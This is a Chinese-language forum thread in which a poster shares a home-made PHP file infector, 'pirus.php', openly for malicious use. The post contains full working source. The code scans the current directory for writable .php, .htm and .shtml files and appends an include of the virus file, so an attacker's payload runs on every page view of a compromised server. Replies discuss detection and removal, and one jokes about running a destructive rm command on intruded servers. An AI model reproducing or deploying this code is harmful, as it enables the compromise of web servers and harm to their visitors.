发新话题
打印

给大家一个PHP的病毒哈

给大家一个PHP的病毒哈

初学PHP的一点成果,就拿来做坏事, 呵呵。。
当然,这个病毒的作用其实也很简单(我也是才学哈)
就是感染病毒所在目录下的所有网页文件。打开它们,并在其中添加一条语句
<?php include("pirus.php");?>
这样,被感染的网页文件,在每次被访问的时候都会去调用一次pirus.php,即运行一次pirus.php.
当然,也可以让它感染上级和下级目录,对windows来说,可以感染整个分区对Linux那就是整个硬盘了。
pirus.php 这个文件,就可以放我们想要让肉鸡运行的代码。然后将这个文件隐藏在一个阴暗的角落。
这样,一旦病毒发作,那么无论用户访问网站的什么网页,都会调用pirus.php了,不过倒霉的不一定是访问网页的用户哈,也可能是服务器自身,全看pirus.php里面是什么代码了。。
下面是代码。
\<?php
$loc=opendir('.');  //This opens the current directory the php file is in
//或者用 $path=str_replace('\\','/',dirname(_FILE_));
// $loc=@opendir($path);  代替上面那一行也可以。
while ($file = @readdir($loc))  //makes a looop so it works while there is still an un-infected file
{ $infected=true;  //making sure we dont infect this file
$caniwrite=false;  

if ( ($caniwrite = strstr ($file, '.php')) || ($caniwrite = strstr ($file, '.htm')) || ($caniwrite = strstr ($file, '.php')) || ($caniwrite = strstr ($file, '.shtml')) ) //checking if the file has the correct extension
if ( is_file($file) && is_writeable($file) )  //making sure we can output to the file
{
  $output = fopen($file, "r");  //opening file for reading
  $contents = fread ($output , filesize ($file)); //getting some info for checking
  $mine = strstr ($contents, 'pirus.php');  //is it our file?
  if(!$mine ) $infected=false;  //if the file is not this one, say it is not infected
}
//infection
if (($infected==false))
{
  $output = fopen($file, "a");  //open it for appending
  fputs($output ,"<?php ");
  fputs($output ,"include(\"");  
  fputs($output ,"pirus.php");
  fputs($output ,"\"); ");
  fputs($output ,"?>");
  fclose($output );  //closing file
}
}
closedir($loc);
return;
?>      
www.rpmfind.net www.google.com

TOP

不厚道~~~
应该将破解方法一并贴出来呀。      
林子大了,什么鸟都有......

TOP

病毒有破解方法的么? 只有查杀方法哈,不过windows下 norton 好像不杀它哦。。。看来只能在重要的文件夹下放.htaccess了,      
www.rpmfind.net www.google.com

TOP

是因为我想试试,又不知道后果,一直没下手       
林子大了,什么鸟都有......

TOP

不是说的很清楚了么? 其实只是感染该病毒所在的目录(不包含子目录)下所有的php,html shtml 格式的文件。如果可写的话,就在这些文件的末尾加上一行
<php? #include "pirus.php"?>
pirus.php就是病毒文件(它自身)。
即调用这个病毒。
所以,,如果你的病毒放在一个单独的目录下,它根本不会有什么影响。很听话的哦。。。      
www.rpmfind.net www.google.com

TOP

      
林子大了,什么鸟都有......

TOP

拙见

php似乎是在服务器端执行的脚本,那么你是打算放到自己的服务器上还是放到别人的服务器上,如果是后者,那还要学习一下入侵喽!

不过都能入侵了,还不来一个
rm -aF(做人要厚道一点)

小生发的第一个帖子,多多指教,这厢有礼了:cool:      

TOP

这不叫病毒....      
15 is too short

TOP

危害有多大呀,我以为linux很安全哩。      

TOP

发新话题